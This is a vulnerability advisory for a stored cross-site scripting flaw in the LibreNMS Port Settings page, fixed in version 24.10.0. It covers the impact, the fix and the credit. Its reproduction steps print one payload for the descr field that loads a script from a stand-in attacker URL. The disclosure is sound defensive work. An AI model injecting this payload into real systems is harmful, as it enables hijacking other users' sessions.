Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the “Port Settings” page of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the descr parameter when editing a device’s port settings. The payload is stored and executes when the Port Settings page is visited, potentially compromising user sessions.
Product
This vulnerability affects LibreNMS versions prior to 24.10.0 in librenms/app/Http/Controllers/Table/EditPortsController.php.
Impact
This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.
Steps to reproduce
-
Log into the LibreNMS web interface.
-
Edit a device’s port settings and set the Description (
descr) field to the following payload:lo'"><script/src=//<attacker-url>> -
Save the changes.
-
Navigate to the Port Settings page for that device.
-
Observe that the external script from
//<attacker-url>is loaded and executed in your browser.
Expected result:
The external script from //<attacker-url> is loaded and executed in the Port Settings page, demonstrating arbitrary JavaScript execution in the victim’s session.
Remediation
Fixed in LibreNMS 24.10.0 by escaping the $port->ifAlias value in app/Http/Controllers/Table/EditPortsController.php, ensuring user-supplied input is HTML-encoded before rendering.
Credit
This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.
